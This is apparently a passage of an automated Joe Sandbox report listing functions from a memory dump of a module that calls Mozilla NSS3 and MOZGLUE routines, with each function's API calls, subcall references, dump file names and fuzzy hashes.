Instruction Fuzzy Hash: 301103B0601300EBEB108F1ADC84A6A77B4AB8531AF04843DD80AC7B51D736EC08CBA9

Function 6C4C68E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4C68FB
EnterCriticalSection.KERNEL32 ref: 6C4C6913
PORT_FreeArena_Util.NSS3 ref: 6C4C693E
PR_Unlock.NSS3 ref: 6C4C6946
DeleteCriticalSection.KERNEL32 ref: 6C4C6951
free.MOZGLUE ref: 6C4C695D
PR_Unlock.NSS3 ref: 6C4C6968

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 0b63572277607a90615152849bc3eb175cdf6ac21dca753e2dc3855cfbfc4698
Instruction ID: 94716c04ad5c1ecf1f96af66ddbeb6d84f15149269ddafe004bae5ae2008ccc0
Opcode Fuzzy Hash: 0b63572277607a90615152849bc3eb175cdf6ac21dca753e2dc3855cfbfc4698
Instruction Fuzzy Hash: 28116DB4604605DBDB00EF79C4C59AEBBF4BF41345F014529D895D7710EB30D884CB92

Function 6C4CBDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4CBDCA

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C4CBDDB

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C4CBDEC

Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C4CBE03

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4CBE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4CBE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4CBE3B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 31d9bd30d43b3ef263ee4f600866d4cf75e0b174ee83faf72f31bee79101e273
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: CE012B79B41201A7F71062A66C01F6766884FD078EF140030FE0896BD2FB55ED1982B7

Function 6C520FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016

Part of subcall function 6C5898D0: calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5

PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B
TlsGetValue.KERNEL32(00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521044
free.MOZGLUE(00000000,?,00000800,6C4BEF74,00000000), ref: 6C521064

Strings

security, xrefs: 6C521025

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 3f2154d6f6f8834e0c575ded0fc208e684bf0a579bc5535f450f2cb60fddddba
Instruction ID: 0a3b8b92a8140f0f1f96ada54554e1d08adf91c08aa2741315a1f6d311528ac3
Opcode Fuzzy Hash: 3f2154d6f6f8834e0c575ded0fc208e684bf0a579bc5535f450f2cb60fddddba
Instruction Fuzzy Hash: 8C016F70A40290A7E710AF3D8C05F5BB6E4BF42756F010526E80897ED1DB7BC904DBD5

Function 6C551C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C551C74

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C551C92
free.MOZGLUE(?), ref: 6C551C99
DeleteCriticalSection.KERNEL32(?), ref: 6C551CCB
free.MOZGLUE(?), ref: 6C551CD2

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: bde1b917d8e4c7f97270f1524cc8f00730e1aa48b0d4411824e8af4ac8dccf46
Instruction ID: 5cb2db668097c8c1e8f943c52ecfd084ce20755172e1172f7099ef3609b17085
Opcode Fuzzy Hash: bde1b917d8e4c7f97270f1524cc8f00730e1aa48b0d4411824e8af4ac8dccf46
Instruction Fuzzy Hash: 7901FE71F51210AFDF20EFA69C4DB4A3BB46707329F400136D90A92F40D736A1144799

Function 6C5649C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000678,?,?,6C555F34,00000A20), ref: 6C5649EC

Part of subcall function 6C51FAB0: free.MOZGLUE(?,-00000001,?,?,6C4BF673,00000000,00000000), ref: 6C51FAC7

SECITEM_ZfreeItem_Util.NSS3(?,00000000,6C555F34,00000A20,?,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C5649F9
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6C555F34,00000A20,?,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C564A06
free.MOZGLUE(?,?,?,?,?,6C555F34,00000A20), ref: 6C564A16
free.MOZGLUE(?,?,?,?,?,6C555F34,00000A20), ref: 6C564A1C

Strings

4_Ul , xrefs: 6C5649C6, 6C564A21

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID: 4_Ul
API String ID: 2193358613-1545976938
Opcode ID: 91072299c9bb1b113a04e3ec6e32485bdaaa486dfeb75d26779b656d0ed2c279
Instruction ID: bed2d997492d16233acc155a8c2145ace9f862008233b529fbd1cacf0ab2fdd5
Opcode Fuzzy Hash: 91072299c9bb1b113a04e3ec6e32485bdaaa486dfeb75d26779b656d0ed2c279
Instruction Fuzzy Hash: 06015E76900104AFDB00CF69DCD4C967BFCEF892497448165E909CBB11E731E904CBA1

Function 6C562E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C563046

Part of subcall function 6C54EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C54EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C537FFB), ref: 6C56312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C563154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C562E8B

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

Part of subcall function 6C54F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C539BFF,?,00000000,00000000), ref: 6C54F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C537FFA), ref: 6C562EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C56317B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: bda8a29fa894f031c5516b0f26fe9c3d602b33a9ac943f180f6187ce73749ece
Instruction ID: a2583363cf766371c3df205be310fa46549910677a140cf8f6e7b59af9f540b7
Opcode Fuzzy Hash: bda8a29fa894f031c5516b0f26fe9c3d602b33a9ac943f180f6187ce73749ece
Instruction Fuzzy Hash: FAA1DE71A002189FDB24CF55CC81BEAB7B5EF89308F048099ED4967B41E771AD85CF92

Function 6C51A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0369d539da7f1173bf3c12aa85f15dc61597332ccb422e2d969752bf436215b0
Instruction ID: e890a701ed017e96f1774d5881e4526ec711dc113b2338dce78903062118012b
Opcode Fuzzy Hash: 0369d539da7f1173bf3c12aa85f15dc61597332ccb422e2d969752bf436215b0
Instruction Fuzzy Hash: 03913B30D0C1684BEB27CE188CD93DAB7B59F4A31CF1545E9C5999BE01D6318DCD8B91

Function 6C52ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C52ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C52EDCE

Part of subcall function 6C520BE0: malloc.MOZGLUE(6C518D2D,?,00000000,?), ref: 6C520BF8
Part of subcall function 6C520BE0: TlsGetValue.KERNEL32(6C518D2D,?,00000000,?), ref: 6C520C15

free.MOZGLUE(00000000,?,?,?,?,6C52B04F), ref: 6C52EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C52EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C52EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C52EEFB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 29647f84b253af9bd211b212def5f958f8ab811bf102a0933860cd6222d42819
Instruction ID: 3eee3fccb475995a3f65930e2199a33f0ad4140e46f47436adb5365a96acc7db
Opcode Fuzzy Hash: 29647f84b253af9bd211b212def5f958f8ab811bf102a0933860cd6222d42819
Instruction Fuzzy Hash: D3816BB1A002059FEB14CF69DC84BABB7F5BF89309F144428E8259B791D779EC14CBA1

Function 6C52CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C52C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C52DAE2,?), ref: 6C52C6C2

PR_Now.NSS3 ref: 6C52CD35

Part of subcall function 6C589DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DC6
Part of subcall function 6C589DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DD1
Part of subcall function 6C589DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C589DED

Part of subcall function 6C516C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C4C1C6F,00000000,00000004,?,?), ref: 6C516C3F

PR_GetCurrentThread.NSS3 ref: 6C52CD54

Part of subcall function 6C589BF0: TlsGetValue.KERNEL32(?,?,?,6C5D0A75), ref: 6C589C07

Part of subcall function 6C517260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C4C1CCC,00000000,00000000,?,?), ref: 6C51729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C52CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C52CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C52CE2C

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C52CE40

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

Part of subcall function 6C52CEE0: PORT_ArenaMark_Util.NSS3(?,6C52CD93,?), ref: 6C52CEEE
Part of subcall function 6C52CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C52CD93,?), ref: 6C52CEFC
Part of subcall function 6C52CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C52CD93,?), ref: 6C52CF0B
Part of subcall function 6C52CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C52CD93,?), ref: 6C52CF1D

Part of subcall function 6C52CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C52CD93,?), ref: 6C52CF47
Part of subcall function 6C52CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C52CD93,?), ref: 6C52CF67
Part of subcall function 6C52CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C52CD93,?,?,?,?,?,?,?,?,?,?,?,6C52CD93,?), ref: 6C52CF78

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 3d75e0e6045c79e878a5dbe21e857884eca5cbbf6ec34ba19b6fd39b704c7e89
Instruction ID: d8c51c1a86d8f67b0bd2f672f568a4a051c703d74a197d30f915d116781a4ea5
Opcode Fuzzy Hash: 3d75e0e6045c79e878a5dbe21e857884eca5cbbf6ec34ba19b6fd39b704c7e89
Instruction Fuzzy Hash: 4251A277A012109BFB11DF69DC40BAA73E4AF88348F250524D959A7B82EB39FD05CB91

Function 6C443850 Relevance: 9.1, APIs: 6, Instructions: 133threadstringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,00000025), ref: 6C443890
TlsGetValue.KERNEL32 ref: 6C4438D2
PR_CallOnce.NSS3(6C6214E4,6C58CC70), ref: 6C44391C
PR_GetCurrentThread.NSS3 ref: 6C443977
memcpy.VCRUNTIME140(?,?,?), ref: 6C4439A2
PR_GetCurrentThread.NSS3 ref: 6C4439F2

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CurrentThread$CallOnceValuememcpystrchr
String ID:
API String ID: 892352074-0
Opcode ID: 99c33c4eba744641bd2f8afe5e29e29f50aa9fedcdf9a51d248c680ff7fc4310
Instruction ID: 5a6197c9c488f0f6653499c31ed44969e6e7956aa0568909238dcb066a149885
Opcode Fuzzy Hash: 99c33c4eba744641bd2f8afe5e29e29f50aa9fedcdf9a51d248c680ff7fc4310
Instruction Fuzzy Hash: 1941F371A042018BE710DF39C884F6AB7F4EF49B19F21C21DE88897B51E730E885CB99

Function 6C53FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C53FFE5

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_EnterMonitor.NSS3(?), ref: 6C540004
PR_EnterMonitor.NSS3(?), ref: 6C54001B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: cd2d384680c2902e49534629d0de2fe897fd6a51a141d6d3be8bb1b27212a799
Instruction ID: fac02ec5ed9e94d9d441252d34917e1bdedc2ecad92f35fe02fb01b7fa6e71fc
Opcode Fuzzy Hash: cd2d384680c2902e49534629d0de2fe897fd6a51a141d6d3be8bb1b27212a799
Instruction Fuzzy Hash: 02416875604680CBE7208A29DC517AB73A1EBD1309F70993FD44BCBE90E7B9E949C742

Function 6C4FEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C4FEF38

Part of subcall function 6C4E9520: PK11_IsLoggedIn.NSS3(00000000,?,6C51379E,?,00000001,?), ref: 6C4E9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C4FEF53

Part of subcall function 6C504C20: TlsGetValue.KERNEL32 ref: 6C504C4C
Part of subcall function 6C504C20: EnterCriticalSection.KERNEL32(?), ref: 6C504C60
Part of subcall function 6C504C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C504CA1
Part of subcall function 6C504C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C504CBE
Part of subcall function 6C504C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C504CD2
Part of subcall function 6C504C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C504D3A

PR_GetCurrentThread.NSS3 ref: 6C4FEF9E

Part of subcall function 6C589BF0: TlsGetValue.KERNEL32(?,?,?,6C5D0A75), ref: 6C589C07

free.MOZGLUE(00000000), ref: 6C4FEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C4FF016
free.MOZGLUE(00000000), ref: 6C4FF022

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

